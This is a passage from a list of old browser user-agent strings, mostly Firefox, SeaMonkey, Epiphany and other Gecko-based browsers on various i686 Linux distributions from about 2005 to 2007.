Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050718 Galeon/1.3.20 (Debian package 1.3.20-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050831 Debian/1.7.8-1sarge2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050831 Epiphany/1.4.8 (Debian) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050921 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927 Debian/1.7.8-1sarge3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927 Epiphany/1.4.8 (Debian) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 (Ubuntu package 1.5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051118 Debian/1.4.99+1.5rc3.dfsg-1 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051128 Firefox/1.5 Debian/1.4.99+1.5rc3.dfsg-2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051202 Fedora/1.5-0.fc4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051205 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051210 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051214 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051215 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051217 Debian/1.5.dfsg-2 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051222 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20051224 Debian/1.5.dfsg-3 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060102 Flock/0.4.11 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060103 Fedora/1.5-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060301 SeaMonkey/1.1a Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060027 (Debian-1.8.0.1-11) Galeon/2.0.1 (Debian package 2.0.1-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060106 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060126 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060201 Mandriva/1.5.0.1-3mdk (2006.1) Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060203 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060205 CentOS/1.5.0.1-2.c4.centos Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060207 Debian/1.5.dfsg+1.5.0.1-0bpo1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060207 Debian/1.5.dfsg+1.5.0.1-1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060209 Debian/1.5.dfsg+1.5.0.1-1bpo1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060209 Debian/1.5.dfsg+1.5.0.1-2 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060210 Fedora/1.5.0.1-2.1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060210 Ubuntu/dapper Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060217 Flock/0.5.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060225 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060316 SUSE/1.0-27 SeaMonkey/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/Debian-1.8.0.1-5 Galeon/2.0.1 (Debian package 2.0.1-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 Fedora/1.0.8-0.5.1.fc5 SeaMonkey/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070301 SUSE/1.8_seamonkey_1.0.8-0.1 SeaMonkey/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070306 Thunderbird/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070403 Thunderbird/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070501 Firefox/1.5.0.11 Flock/0.7.13.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070510 Iceape/1.0.9 (Debian-1.0.9-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 (Debian-1.8.0.14~pre071019b-0lenny1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 (Debian-1.8.0.15~pre080131b-0etch1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070505 Iceape/1.0.9 (Debian-1.0.10~pre070720-0etch3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20070717 Red Hat/1.0.9-4.el4 SeaMonkey/1.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Galeon/2.0.1 (Ubuntu package 2.0.1-1ubuntu2) Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20070505 (Debian-1.8.0.15~pre080614d-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20090422 CentOS/1.0.9-0.37.el3.centos3 SeaMonkey/1.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.14eol) Gecko/20101004 Red Hat/1.0.9-64.el4 SeaMonkey/1.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060630 Red Hat/1.0.1-0.1.9.EL3 SeaMonkey/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Epiphany/2.14 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060619 SeaMonkey/1.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060627 Galeon/2.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060912 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Epiphany/2.14 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060730 SeaMonkey/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 SeaMonkey/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060802 Mandriva/1.5.0.7-1mdv2007.0 (2007.0) Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 (Ubuntu) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.2 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060914 SeaMonkey/1.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060916 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060917 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060922 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060923 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060924 Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060926 Ubuntu/breezy-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061105 Red Hat/1.0.6-0.1.el3 SeaMonkey/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8pre) Gecko/20061001 Firefox/1.5.0.8pre (Iceweasel) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061205 (Debian-1.8.0.9-1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070104 Red Hat/1.0.7-0.6.fc5 SeaMonkey/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061003 BonEcho/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061012 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/2006101713 Firefox/2.0 (Slackware) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Debian-2.0+dfsg-1) Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061025 Firefox/2.0 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061026 BonEcho/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061026 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061027 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061031 BonEcho/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061101 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061103 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061127 lolifox/0.3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061129 BonEcho/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Mozilla/5.0 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070115 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070215 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070217 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070220 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070222 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 